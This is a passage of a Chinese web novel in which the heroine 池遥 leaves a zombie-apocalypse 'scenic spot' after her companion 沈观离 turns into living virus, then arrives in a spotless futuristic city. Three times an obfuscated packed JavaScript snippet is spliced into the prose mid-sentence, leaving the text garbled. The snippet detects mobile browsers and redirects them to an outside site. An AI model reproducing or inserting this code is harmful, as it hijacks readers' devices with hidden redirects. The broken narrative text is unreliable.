池遥动作果断地将针头刺进上臂,能明显感受到注射器内的药液正在缓慢输入自己的身体里。 几秒后,她反手拔出针管,针管掉落在地上,发出清脆的一声。 浑身的热度在迅速流失,神经突突地发涨,冰冷的手指按住脑袋,她整个人蜷缩起来,忍受着脑海中近乎炸裂的剧痛,发出模糊的哼声。 真的太痛了,她根本分不出精神顾及身边的人,只能感受到冰冷又柔软的手,隔着外衣扶住她,让她不至于从床上跌下。 啊...... 是沈观离的手吗? 意识模糊之间,脑海中闪过杂乱的念头。 既然是沈观离扶住她,那大概是对方获得了抗体吧? 她感到鼻子发酸,不知为何有些委屈,眼底也一阵阵地发热。 可心中又有个声音叫嚣起来。 太好了。 沈观离,可以活下去了。 157. 选择循环14 然而,过了不知多久,脑中的痛苦渐渐平息了。 池遥恍惚抬起头。 奇怪,自己并没有溶化,而一直扶住她的那只手,也始终没有撤离。 难不成,得到抗体的……是她? 目光移到身旁的人撑着她的手上。 然而,映入她眼中的,是一只半透明的,不知何时变成凝胶质地,柔软到近似液体的手掌。 将它称之为手似乎也有些勉强,半透明,偏白的胶状流体正顺着指尖缓缓向下流淌,把手指拉扯到曾经的两倍长。 她眼睁睁看着,有一小块黏液滴落在她衣服上,又仿佛有意识一般从她的衣服上蠕动离开。 坐在她对面,距离她只有一臂之隔的人,已经完全变换了模样。 从颈部往下,浑身的皮肤都变成了半透明的流体状,隐约能看到更深处的骨骼,仿佛浑身都被白色黏液包裹,又仿佛,他变成了白色黏液本身。 只有面部还算完好,但脸色白得近乎透明,隐约能从薄薄的面皮之下看到骨骼和鲜血。 “......沈观离?” 池遥不知所措地叫出了他的名字。 “你还好吗?” 沈观离的语气没变,依旧与以往一样柔和,带着隐约的安抚意味,可他的音色也隐约发生了变化,变得比过去更加尖锐,增添了几分非人感。 “......嗯。” 在沈观离面前,池遥低下头,张合了一下手掌,目光定在自己毫无变化的手掌之上,心中的酸楚感满满涌上来,一颗水珠砸在掌心。 她不知道该说什么,明明自己获得了抗体,却开心不起来,眼中是已经无法被称之为人类的沈观离。 “情况还没那么糟。”扶在她肩上的手生硬地拍了拍她,沈观离放轻了声音,“我注射的病毒原株似乎与感染的病毒发生了某种融合,我不会死的,不止如此,现在我很厉害的,可以称得上是活着的病毒原株啦。” 他声气轻缓地安抚她,听到了他的声音,池遥抬眼看他,还没开口,积蓄在眼眶里的泪水满溢而出。 沈观离很想抬手擦拭掉池遥脸上的泪水,可他此时已经变成了病毒本身,很担心与池遥直接接触会对她不利,只能用安慰的目光看她。 “好啦......”他柔声说,“变成这副模样之后,我彻底明白这种病毒的原理了,我讲给你听。” 池遥一言不发地点头,此时不是哭泣的时候,她已经努力压制住了自己的情绪,却无法阻止眼泪,只能紧绷着一张脸,眼睛里还带着水色,抬头与沈观离对视。 “这种病毒,是从自然进化的高等丧尸体内提取的,它感染了高等丧尸的脑子,让高等丧尸脑中维持着和人类相似的构造,没有产生晶核。但对于普通丧尸而言,却只能短时间恢复意识,病毒会融化丧尸脑中的晶核,将其变为与高等丧尸的脑髓液相似的液体,这种液体离开丧尸体内后变成感染源,借通风口的空气感染了研究所的所有人。” 沈观离抬起另一只手,伴随着他的动作,指尖处的白色黏液骤然拉长,滴落下去,沈观离目光一直定在他的手掌之上,又不留痕迹地瞥了一眼池遥白皙健康的手掌,收回目光。 “但是,人类一旦感染了这种病毒,病毒会直接作用于脑部。”沈观离似乎是想抬起手指给池遥示意,但他的手指已然完全变成软绵绵的流体,一旦抬起来就会很快塌陷下去,于是他又收回手。 “感染病毒后,一旦摄入水和食物,就会迅速加速感染进程,溶化成水。但就算不进食,几小时后也会不受控制地溶化消失。” “但是,并不是所有身体组织全部溶化,最先被感染的脑髓液会变质成纯白色,近似于流体的形态,承载着死者的部分意识留存于世,继续作为感染源存在。” 池遥明白了,这就是白色黏液的形成原因。 研究所内的白色黏液,是整个研究所内所有人类的脑髓所变成的。 “意识?” 只是,池遥难以理解,这些白色黏液真的有意识吗? “是的,感染病毒死去的人,灵魂无法被解放,意识仍旧被困在白色黏液里。但是白色黏液需要进食,因此,在意识慢慢被损耗后,食欲占据上风,这些白色黏液会融合在一起继续感染更多人类,这就是它们的进食手段。” 池遥终于明白了。 “那么,这种白色黏液有办法根除吗?” 她问出自己最关心的问题。 沈观离缓慢地摇了摇头。 “我也不知道消灭它们的办法,但是,它们在低温环境下会渐渐失去活性,虽然温度一高就会恢复正常,但恐怕这就是唯一控制它们的办法了。” “变成这副样子之后,白色黏液似乎把我当成了它们的领袖,现在我可以召集基地内所有的白色黏液了,我已经搜寻到研究所园区外的所有白色黏液了,用不了多久,它们就会回到研究所里。” 的确,既然没办法消灭这些白色黏液,那么将它们暂时封存是目前最好的办法。 可是...... 池遥紧盯着沈观离的双眼,后者难以抵抗她的目光,微微偏过头去。 沈观离怎么办呢? 沈观离提出的办法固然好,池遥一时半会儿也想不到任何其他的办法,可是难不成就要把沈观离一个人留在研究所里吗? 池遥注视沈观离的时间太长了,青年躲闪一会儿,见没有效果,目光带着无奈的笑意,面带笑容地回看了过去。 “池遥,你该走了。”他态度柔和地劝她。 “好不容易获得了抗体,在这里停留太久,对你而言不是一件好事。” “可是我也不能眼睁睁看着你去......”池遥说不下去。 进入景点后,池遥就清楚地知道了一点,她所在的世界是由自己的回忆打造的,所有友人都是旧日的幻影,并不是真的与她度过一朝一夕的伙伴。 唯有沈观离不同。 他是与自己共同踏入景点,共同经历一切的伙伴。 也是在全然虚假的世界中,可以称之为“真实”的存在。 如果沈观离死在自己面前的话...... “没事的。”沈观离的语气却极为笃定,注视着池遥的双眼中的情绪也十分稳定,闪烁着让池遥不由信服的光。 “我是......”他的声音顿了一下,似乎被系统警告了。 “总之,我是不会死的。” 最终,他只说了这一句话,抬起流体状态的手,艰难比划出了一个莫比乌斯环的形状。 池遥隐隐明白了他的意思。 “去上面吧。”沈观离抬头,看了一眼头顶的玻璃天幕,“很快,研究所里所有白色黏液都会被我汇聚到这间低温实验室,等我给出信号,你就调低实验室的温度,调到最低。” 池遥点点头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17110606|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却没有动弹,她的目光将沈观离从上到下扫视一遍,不甘心地问。 “......你呢?” 听到池遥的话,沈观离低下头,看向自己的下半身。 与勉强还能看出躯干形状的上半身不同,他的下半身似乎已经彻底失去了人类形体的形状,变成一滩胶状物,一部分在铁架床上,一部分流淌到了地上。 “我已经被固定在这张床上了。” 沈观离的声音十分平稳。 “走吧,离开研究所吧,池遥,你还有别的事要做,不是吗?” 池遥站起身,走到实验室门口时,再次回头看了一眼沈观离。 铁架床上只剩他一人后,他总算能驱使着不停向下塌陷的身体,缓缓瘫平在床上了。 “我去楼上等你。”池遥指了指天花板玻璃之上的实验室。 “好。” 离开实验室,池遥很快就来到了低温实验室正上方的实验室,受沈观离的影响,地下四层几乎到处都是白色黏液,一旦池遥经过,它们会立刻避开池遥,这都是她身上的抗体的功劳。 透过玻璃,池遥与躺平在床上的沈观离对视,此时,整个低温实验室内到处都是白色黏液,渐渐,组成一大片白色黏液的海洋,而沈观离就被包裹在最中间。 他的身影渐渐被吞没。 不知过了多久,白色黏液渐渐变得透明,变成了与沈观离的四肢一样的色泽,池遥再次从晶莹的黏液当中望见了沈观离的脸。 他看向天花板顶上的池遥,慢吞吞地眨了眨眼。 池遥立刻操作设备,封锁低温实验室的大门,同时将低温实验室的温度调到最低。 不知过了多久,不停蠕动的黏液海洋渐渐静止,白色黏液失去了活性,而沈观离被黏液包裹住,只能做出细微的面部表情,池遥每次看向他时,他就会轻微地朝池遥眨一下眼,证明自己没事。 池遥明白,他这副举止是为了催促池遥尽快离开,也许他说得没问题,池遥的目标是守住北方基地,北方基地遭遇的危机不止病毒一项,而且,她说不定还有其他想做的事。 可是,她已经提前解决了虫潮,韩厢月会揪出混进基地的丧尸,苏榕和沈观宴会解决兽潮与丧尸潮,池遥相信即便没有她在场,大家也会完成自己的使命。 她已经没有其他事可做了。 而且,虽然她身上有病毒抗体,自己不会感染病毒,可她不清楚自己是否携带病毒,贸然离开研究所,会不会感染别人。 眼下最好的选择,还是留在研究所里,隔着一层玻璃,陪在沈观离身边。 她又去控制室,将研究所内部封死,关闭供水系统,通风系统只留自己所在的实验室,电力系统也只供应地下几层。 一片死寂之中,只剩下沈观离的影子,飘荡在黏液之中。 强烈的疲惫之下,池遥半睡半醒地过了很久,每次清醒,遥遥望见那个漂浮的影子,她就会觉得安心一些。 再次从睡梦中醒来,周围的环境更冷了,池遥缩了缩身体,抬手看表。 手表显示,此时已经是十一点五十五分。 “沈观离!还有五分钟就结束了!我们成功了!” 她立刻通过实验室里的设备朝下面喊话。 然而,不知什么时候,黏液中的人已经闭上了眼睛。 【恭喜您!完成回忆目标,守住了北方基地!成功打卡景点!】 158. 选择循环15 眼前的所有景物逐渐消失,退散。很快,展现在池遥面前的是一面历史感十足的红色砖墙,映着暖融融火光的壁炉与墙壁砌在一起,而壁炉旁边则是一个铁艺圆桌,桌边的高脚凳上,坐着一个百无聊赖的少年。 少年眉目清秀又漂亮,猝然与突然出现的池遥对视,有些惊愕地张大了嘴,紧接着,眼神中很自然地浮现出开心的情绪来,又有点别扭地移开视线。 “苏榕!” 看到少年的身影,池遥松了一口气,环顾四周,自己此时正在一个西式装潢,略显陈旧的房间里,背后是一张巨大的真皮沙发,只不过从沙发背上的灰尘来看,这张沙发也上了年头。沙发对面的电视柜后,是一扇开着的门,隐隐能看到门外连着另一间房间。 奇怪,她没有找到沈观离的身影。 “沈观离呢?” 既然她和苏榕都从景点内出来了,想必沈观离也顺利离开景点了吧? “他应该还在景点里吧。” “诶?” 听到苏榕的声音,池遥愣在原地。 突然,从门外传来一阵沉闷的移动声,仿佛是什么东西被推动一般,不多时,一只小机器人从门外探出头来,朝着池遥的方向转了个身,缓缓移动到她面前。 这个小机器人高度只到池遥胸前,头部被制作成一个可交互的方形屏幕,此时黑色屏幕上只有一个笑眯眯的颜文字【(*^▽^*)】。 迎着池遥的目光,屏幕上的文字渐渐变化了。 【恭喜通过景点的考验,成功打卡!】 看到屏幕上的文字,池遥一时间有些晃神,仿佛自己还置身于不停死亡的景点世界之中。 “你是系统?” 她开口问道。 机器人的电子屏脑袋小幅度点了一下头,表示认可。 “那你也是这个景点的负责人吗?” 【我只是负责人的化身,也是在景点内全程陪伴您的系统。】 池遥明白了,看来这个小机器人背后是景点负责人在操控,或许对方是个过于腼腆,不愿见人的家伙。 【如果有任何和景点有关的问题,请向我提问,我会全力为您解答。】 看到屏幕上的文字,池遥立刻问出了最关心的问题。 “我和苏榕都通关景点了,沈观离没有和我们一起出来吗?” 【这位旅人,您似乎误会了什么,这一次的景点世界是个人世界哦。】 看到机器人的回答,池遥愣住了。 既然是个人世界,那她在景点中遇见的沈观离和苏榕又是什么呢? 【虽然系统提取了三位同一天的回忆,但每个人所经历的景点世界是相对独立的,只不过三位的景点世界彼此之间存在几个交点,所以你们才能在景点中相遇。不过,在你们的世界中出现的也不完全是其他旅人本人,有时候也是回忆,视情况而定。】 池遥明白了,苏榕此时坐在这里,与她和沈观离都没有任何关系,是因为苏榕第一个成功通过了自己的景点世界。 而在脱离循环,知晓一切后,沈观离在低温实验室里想要告诉她的话也能够推测出来了。 他想告诉池遥,自己还身陷循环之中,并不会真的死亡,因此对于注射病毒原株并未表现出抵触的情绪。 “那么,我是沈观离女友,这个身份背景在我的经历中完全没有体现,也是因为这个吗?” 【是的。这主要是其他人景点世界当中的设定,不会体现在您的世界当中。】 原来如此,看来这大概率是沈观离那边的设定了。 池遥和小机器人交互时,苏榕已经变成了小猫的模样,从高脚凳上轻巧地跃到池遥肩膀上,池遥则熟练地环起双臂,将它抱进怀里。 “你在这里等我多久了?”她问怀里的小猫。 “也不久呀,不到一天吧。”小猫把脑袋扭到一边。 “好厉害啊。”池遥想到自己反复循环十几次的经历,用指节轻轻揉揉小猫脑袋,又开口问道。 “那么,景点中的循环机制究竟是什么样的呢?” 【在进入回忆后,景点中会出现各种选项,一旦做出选择,就会创造出选择其他选项的多周目平行世界。在旅人第一次死亡后,会陷入所有周目平行世界的循环中,除非做出与所有选项不同的选择,破除选项,才能打破一重循环。 【在陷入循环后,您所经历的每一次循环都会比上一次更加危险,更加艰难。在经历所有未选择的选项创造出的循环之后,才会重新回到景点构建的回忆世界中,只有在循环之外的回忆世界之中完成目标,才算成功打卡景点。】 原来是这样,池遥点点头。 【您和同伴的运气很好,很早就意识到了选项存在的问题,很多旅人很久之前进入了景点内,现在还被困在无限循环中,无法脱身呢。】 看到屏幕上的文字,池遥苦笑着与苏榕对视一眼,心中有些担忧仍旧身陷景点世界的沈观离。 “我还有一个问题。除了现实中存在的丧尸潮以外,我在景点世界内还经历了兽潮,虫潮,病毒灾害,这些真的存在吗?” 【这些尚未发生。但您所经历的一切都是系统通过现在的末日状况进行推演得出的未来。这些危机目前并未发生,但由于这个世界的危险系数增长速度过快,想必这些在景点中出现过的可能性很快就会变成现实。】 看到这行文字,池遥心中一紧,为留在这个世界的同伴们担忧。 但是,她又无比信任自己的伙伴们能够守护住他们赖以生存的家乡。 “我有一个朋友,也是旅人,几个月前也来到了这个景点。我想向你打探一下她的行踪,请问您见过她吗?” 池遥将自己的寻人启事展开,把她与曲卓的合照对准电子屏幕的摄像头。 【这位旅人,我还没有开发动态影像记录功能,如果您想查询其他旅人的信息,请提供对方的护照信息,我会检索六个月内的景点记录。】 “好。”池遥点点头,对照着自己的护照内容,在屏幕上输入信息,“曲卓,女,旅人,天赋者,出生于丧尸国度世界,成功打卡景点......”她不太确定曲卓目前经历了几个景点。 【查到了。曲卓旅人的确成功打卡过此景点,已经前往下一个世界了。】 “那我没有问题了。” 得到了好友的确切情报,池遥松了口气。 【好的。这位旅人,请问您确定要前往鲸落世界吗?如果您确定的话,我将会发放景点印章。】 “我确定。”她坚定地点了点头。 “但是,我们的另一位同伴还没从景点世界出来,我们要留在这里等他出来。” 【当然可以,我会安排您和这位先生的住宿房间,你们需要住在一起吗?】 小猫窝在池遥怀里,闭着眼睛装睡不回答,池遥立刻否认 “两间房,我们各一间,非常感谢。” 小机器人很快离开,池遥在脑海中翻开自己的护照。 姓名:池遥 性别:女 身份:旅人 种族:能力者——觉醒者 出生地:丧尸国度 成功打卡景点数:2 原本的景点数量1变成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115250|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了2,回想起自己在景点中的经历,池遥在心中叹了口气。 真的遭遇了很多啊。 翻到护照第三页,写着四个大字——丧尸围城。在四个字正下方是一个洋楼形状的印章,下面是一行花体英文,看不清字母,英文下是一行方方正正的小字:琥洋馆景点打卡成功。 琥洋馆就是他们所在的景点名字,池遥在书房内翻到了这个世界的历史书籍,记载了琥洋馆的历史。 这座洋馆在近百年前是一位外国商人购买的房产,看上去只是一座普通的洋馆,却有着面积极大的地窖和隔层空间。战争时代,洋馆主人将众多家破人亡,无处可去,面临侵略者屠杀的百姓收容在洋馆内,巧妙躲避了敌军的搜查,保护了足足上百人。 两天后,池遥终于见到了成功通过景点的沈观离,与在景点内吃喝玩乐,度过了罪恶的两天时光的池遥二人不同,一回到景点世界内,沈观离就浑身无力地跌坐在地毯上,伤痕累累,殷红的血液浸湿了地毯。 “在景点内停留得越久,离开景点后的损伤就越大。”苏榕告诉池遥,“系统说,很多旅人在景点世界中经历无限循环,看似还有机会通关,实际上一旦通关,脱离景点后就会立刻死亡,还不如在景点内活一辈子呢。” 幸好沈观离虽然受了不轻的伤,但身边还有靠谱的超强治愈能力者池遥在,等小机器人与沈观离结束对话,池遥立刻伸手帮他治愈了身上的伤口。 然而,当池遥的手碰到沈观离的瞬间,沈观离的身体却不由自主地紧绷起来,一双眼仓皇无措地与她对视,顷刻间,眼中立刻流露出深重的歉意与痛苦。 他的反应把池遥吓了一跳,她迅速治好他的伤口,与青年拉开一点距离,担忧地望着他。 与池遥不同,沈观离经历了二十多次循环,起初,他整个人由于与池遥的恋情,遭受到了不同程度的阻挠,二人屡遭设计。 在景点内与池遥相遇后,沈观离说谎了,他的目标并非守护北方基地,而是守护住自己的女友池遥。 可是,除了最后一次,剩下的所有周目里,池遥都以各种惨状死在了他面前。 这些经历想必真正的池遥并不知情,他也不可能告诉池遥,可是此时离开景点,看到活生生站在他面前,与他只是普通同伴关系的池遥本人,沈观离的心脏却无法遏制地加速跳动。 痛苦,愧疚,无助,绝望,诸多汹涌的情绪冲上来,几乎要打碎他强装出的平静外壳,露出不堪入目的内在。 他对池遥的反应实在太过激了。 沈观离状态不好,三人又在琥洋馆内修整了一天,终于迎来了出发的时候。 “去到下一个世界之后,我们又会被打散到不同位置,到时候你们一定要主动来找我,好吗?”池遥交代对面的两人。 苏榕轻哼了一声,没回答,池遥知道他这样子就是同意了,扭头看向一旁的沈观离。 “抱歉。” 许久,沈观离躲开她的视线,眼神躲闪,轻轻开口。 “我仔细思考过了,池遥,你的目标是找到朋友,我的目的是去方舟,恐怕我们之后没办法同行了。” 强烈的恐惧与痛苦占据了他的内心,他担心继续与池遥待在一起,池遥会逐渐窥视到他在景点世界中逐渐变质的,肮脏的情愫,或许此时与池遥疏远才是更好的决定。 池遥愣了一下,但仔细思考一番又觉得沈观离说得很有道理,于是点了点头。 “那就各自保重啦!不过我相信未来我们肯定会再见的!” 最后,与两位伙伴道别后,池遥头也不回,坚定地朝着洋馆出口迈出了脚步。 159. 白色乌托邦1 昏昏沉沉中,池遥仿佛做了一个梦。 她梦到了一个身量极高,极瘦的人影。一头漆黑长发沉甸甸坠到腿部,身上披着一件宽大的黑袍,遮掩了全部身形,只露出颈部一点苍白的皮肤。 与身高相违和的是,他的步伐不快,几乎是在拖动着身体前行。 周围,是熟悉的壁炉,圆桌,沙发,这里俨然是池遥停留了三天的琥洋馆。 而此时,这怪异的黑袍人就这样,一步一步,走出了琥洋馆的大门。 池遥猛地睁开眼。 梦境中的一切真实极了,她认得自己梦中的人,正是曾经告知她旅人与小世界的规则的引路人,鬼王殷蘅。 殷蘅也来到这个世界了吗? 他与自己身在同一个世界了吗? 想到这位仅有一面之缘的旅人,池遥心中产生了些许兴奋,又被她迅速压制下来,平定心情,开始打量自己所在的世界。 只是,看到眼前的景色,她就不由自主地倒吸一口气。 她从未想过,名为鲸落的世界居然是一个一尘不染,堪称完美的高科技都市。 天空是格外澄澈明净的碧蓝色,万里无云,饶是晴朗天气,日光却并不刺眼。 眼前的街区以冷淡干净的银白色为主。在她脚下,是纯白色的地砖铺成的人行道,街道上看不到一点垃圾,街边的路灯也是银色外壳,人行道与车行道之间是成片的景观花坛,花坛内的植物姿态各异,修建得当。车行道上不时驶过一辆银白色的圆形漂浮车,是池遥从未见过的交通工具。 街道两侧是纯白色的大型建筑,建筑虽然占地面积大,但层高却不高,看上去最高也不过六七层,放眼望去,没有高于十层的建筑。大多数建筑外形采取了艺术的流线型,整体看上去底部面积更大,上层面积更小,但又保持在某种框架之内,街道两侧的建筑完全对称,十分严谨。 所有建筑表面都附加了一层银灰色的X形外骨骼式钢结构,给主基调为白色的建筑表面镀上一层金属的冷光,池遥在先前的两个世界从未见过这种金属结构应用在建筑外,显得别具一格,很有科技感。 真的是很特别的地方啊。 她在心里感慨一句。 街上的行人数量不多,但姿态闲适散漫,步行速度也十分和缓,全然不像前两个世界的路人那样小心谨慎的模样。这些行人的穿着打扮一与池遥的认知完全不同,均穿着表面为金属色,看起来像是宇航服或潜水服一类的连体衣,而穿着黑色外套的池遥则显得格格不入,她发现周围路过的行人都会偷偷向她投来视线。 空间吊坠里虽然有不少衣服,但没有一件可以与本地人的穿着打扮相称。池遥翻找了半天,还是继续硬着头皮,穿着一身刺目的黑色在街上闲逛。 周围的行人打量池遥时,池遥也在暗暗打量他们,一路走来,池遥发现,她在街上见到的行人全部都是青年人,从未见过老人和孩子,连中年人都十分稀少。 不清楚是什么情况。 她默默叹了口气,目前在街上看到的一切都超出了她的预料,这里看上去是一座干净宜居的未来都市,几乎没有缺点,她甚至发现不了这里究竟面临了什么样的末日。 池遥深吸一口气,又慢慢吐出,抬起头,看向碧蓝如洗的天空。 缺点还是有的,不知为何,这座城市的空气并不清新,明明天气看起来很不错,但吸入的空气却有些浑浊,虽然没有明显的异味,但呼吸久了,池遥的鼻腔和喉咙都有些轻微的难受。 想着这些,池遥迈开脚步,沿着街道慢慢向前走,遇到拐角就向左转,很快,就走到了相对狭窄一点的小街道。 这条街道两侧似乎是民居,行人密集了不少,周围的建筑规整了许多,一层是各种小商店,池遥很想进去逛逛,但碍于异于本地人的着装,还是只在商店外朝内部瞥了几眼就继续向前,走马观花地逛完了这条街道。 只不过,明明已经到了人群密集的街区,周围却还是只能看到年轻面孔的路人,除此之外,池遥还看到不少长着耳朵和尾巴,形似变形人的行人,大多数路人对这明显的异状无动于衷,池遥多看了几眼,就移开视线。 她本想直接从空间里拿出寻人启事,逢人就问一句,可她现在的打扮看起来有点可疑,至少应该先找一套和本地人没差别的衣服,再去向路人询问曲卓的踪迹。 可是,从哪里找一套本地人的衣服? 就算是用购买的方式,鲸落世界的流通货币又是什么? 她心中一紧。 来到鲸落世界的两个小时后,池遥独自一人,格格不入,局促地站在异界的街道上,心下一片茫然。 她少有地头脑空白了一会儿,停下脚步,站在原地出神。 突然,一阵急促的铃声在街道上响起,让池遥梦回学生时代,此时听到的铃声像极了当时的上课铃,唤醒了她的本能记忆。 池遥急忙朝周围看去。 这阵铃声似乎是从街道四面八方传来的,不仅是她所在的街道,几乎周围所有街道上都回荡着同样的声音,声源众多,难以寻找。池遥找了半天,才发现声音源于头顶的路灯,她看到造型与前几个世界的路灯很像,就先入为主地以为是路灯,实际上似乎是巨大的扩音器。 一听到街道上的铃声,街边商店内的店主和顾客纷纷从商店里走了出来,也有不少人从建筑内走出,聚集在街道上,池遥注意到,即使大部分人都穿着金属色的连体衣,但也有少数从建筑内走出的人穿着相对正常的服装,只不过也是以冷色为主的,造型和做工都显得简约又陈旧,和他们相比,池遥还是显得格格不入。 铃声还在响,街道上的人越聚越多,聚在池遥身上的目光也变多了。 这可不行。 池遥蹙起眉头,小心翼翼地从人群边缘一点点退了出去,她瞥到不远处的建筑后有一处缺口,似乎通往更加狭窄的小巷,里面看起来空空荡荡,一个人也没有,立刻闪身躲了进去。 不知道发生了什么事,池遥不敢走太深,只躲在一栋建筑后,暗中探出头来,打量着聚集在街道上的人们。 很快,铃声停了。 与此同时,脚下的大地传来一声沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123923|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闷的巨响。 “轰!” 脚下的地面倏地摇晃起来,池遥一把扶住身旁的墙面,勉强保持平衡,心下震惊。 她的身体不受控制地随着地面的摇晃七扭八歪,几次险些摔倒,最终都被她稳住了身体。 幸好,脚下的摇晃并未持续很久,几分钟后就逐渐平息,恢复了原样。 看来只是地震而已。 池遥在心中松了一口气,头顶却传来什么声音,刚刚地震导致周围建筑里的杂物倒了一片,此时正有一个篮球大的物体从窗口飞出,狠狠砸在池遥的脑袋上。 “嘶!” 池遥不由地发出吃痛的声音,后退几步,被重物撞击的脑袋晕乎乎的,一时间,有点站不稳,朝身后栽倒。 然而,她却没有摔倒在地。 一只温暖而有力的手,从她身后扶住了她的腰。 紧接着,不受控制向后倒下的身体被拥进了一个温暖的怀抱之中。 “小心一点哦。” 一个带着笑意,格外柔和的声音在她耳畔响起,几乎是贴着她耳畔开口,池遥还能感受到耳廓边对方呼吸传来的热气,甚至能感觉到对方说话时振动的气流,顿时僵住了。 但是,身后的声线听起来格外年轻,她猜测身后的人定然也是一个年轻人。 她被身后的人托着腰扶稳,慢慢转过身,就看到了对面的人。 此人比池遥想象的更年轻一些,与她年纪相仿,身量极高,似乎和殷蘅差不多高,穿一身白色长袍,白袍之下的衣物被挡得严严实实,但看隐约露在外面的一点衣领,想必他穿的也并非本地人的连体衣。 不仅如此,他长着一张过分完美的面庞。 一头银白色碎发之下,是一双异色眼眸,左眼是湖水般幽深漂亮的深绿色,右眼则是澄澈干净的湖蓝色,这样差别明显,色泽迥异的两种瞳色却在他线条精美的面庞上形成了平衡。他的五官过于精致漂亮,说是艺术品也不为过,但组合在一起却又显得秾艳。 尽管如此,当对面的人唇角微微勾起,用一副亲近而自来熟的模样朝她微笑时,池遥还是抵抗不住自己上扬的嘴角,不由地在心中感叹了一句。 不愧是一生爱白毛的老中人啊,这人的脸也太权威了,如果银色短发可以留长就更完美了。 年纪看起来介于青年与少年之间的人站在原地,异色眼眸微微眯起,眼波流转,这双眼睛注视着其他人的时候,总是显得很深情,他就用这种目光注视着池遥,声音轻柔和缓。 “哎呀,看你的着装,你难道是初来乍到的旅人吗?” 听到他的话,池遥立刻从美色冲击里缓神,思索片刻,还是点了点头。 算了,她的服饰实在太明显,否认也是徒劳。 “太好啦!” 然而,对方明显不按常理出牌,漂亮的青年伸出手,一把抓住池遥的手,露出恳切的表情。 “我也是初到此地的旅人,刚来这里不到一天,我叫萧俨,如果不介意,可以告诉我你的名字吗?” “......池遥。” 160. 白色乌托邦2 很快,独自踏上鲸落世界的池遥身侧,就多了一个身影。 “池遥小姐,能和你一起同行真的太好了,我还是第一次来到鲸落世界,对这里的一切都不了解,有你在我身边就放心多啦。” 萧俨似乎是个和任何人都能搭上话的社牛E人,即便池遥给出回应的次数不多,也一直围在她身边,笑眯眯地发话。 池遥侧过头,看了一眼身边的人,每次看他的时候都会被美得宛若艺术品的外表迷惑住,又默默把脑袋移到另一边。 “你还没告诉我,你和我同行,有什么目的呢。” 她问。 “好敏锐呀,池遥,我的确有求于你。”说到这里,青年的笑容扩大了几分。 “我呢,原本是和我的双胞胎弟弟萧燃一起来到这里的,但是你也知道,通过景点去到下一个世界的旅人,都会被传送到随机位置,所以,我想暂时和你同行,直到找到我弟弟为止。” 听到这里,池遥忍不住又看了一眼萧俨的脸。 “你们是双胞胎的话,那你弟弟和你长得一模一样吗?” “当然啦,我们长得一模一样。”萧俨笑着回答。 天呐,这么漂亮的人居然还有第二个。 池遥在心中感叹了一句。 “他和你一样,两只眼睛颜色不同吗?” “啊......”听到这话,萧俨迟疑几秒,突然笑起来。 随后,他微微俯身,将整张脸凑近了池遥,深邃的绿色眸子闪着狡黠的光,轻轻眨了一下。 “他当然不是异瞳啊,你看我的眼睛,池遥,我带了隐形眼镜呀。” 池遥仔细看去,离近了才发现,那只深绿色的瞳孔前方真的有微弱的反光,似乎的确有镜片的存在。 她还以为是大自然的鬼斧神工,原来是戴了美瞳。 “我也有想找的人,”萧俨的目的和她相似,池遥索性坦白了自己来到这个世界的目的,从空间吊坠中找出寻人启事递到萧俨面前,“我一直在寻找我的朋友。这次来到这个世界,也是追着她的踪迹来的,你见过她吗?” 面对池遥递上来的纸页,萧俨过分认真地将照片举到脸前,几乎要触碰到他的鼻尖,看了半天,才摇了摇头,却没有将寻人启事还到池遥的手里。 “虽然我没有见过你的朋友,但寻人启事就先留在我的手里吧,说不定我以后会见到她呢。” 池遥手里有一沓寻人启事,不介意萧俨拿走一张,就随他去了。 两人一边聊天,一边在街上闲逛,有着装相对正常的萧俨在身边,尽管池遥的装束仍旧没变,但周围的路人明显不太警戒她了。 这样想来,这位不知底细,突然凑上来的萧俨,还算是帮了她一把。 这座城市的主城区不算太大,每个街区都有独特的功能,是一座小而精的城市。 “我听其他居民的对话,这里似乎叫做鲸都。”萧俨将自己得知的情报告诉池遥,“而且,似乎经常地震,你刚刚遭遇的地震似乎并不是偶然情况,我来这里不到一天,已经感受过三次地震了,好像每隔几个小时就会地震一次。地震前一分钟,街道上的扩音器会发出强烈的噪音,提醒建筑内的人外出避难。” 池遥点了点头。 “经常地震的话,是因为处于地震带?” 并不多的地理知识进入了她的脑子。 “很有可能诶,不愧是池遥。”萧俨自然地伸手摸了摸她的脑袋,“不知道你有没有观察街道上的建筑,高度都控制在一定范围内,外部还有金属支架做支撑,应该都是鲸都采取的防震措施。” 正是因为这些构造,他们经历的这几次地震虽然震感严重,但却没有造成严重损失,街道边的房屋在地震结束后没有任何损伤。 “原来是这样。” 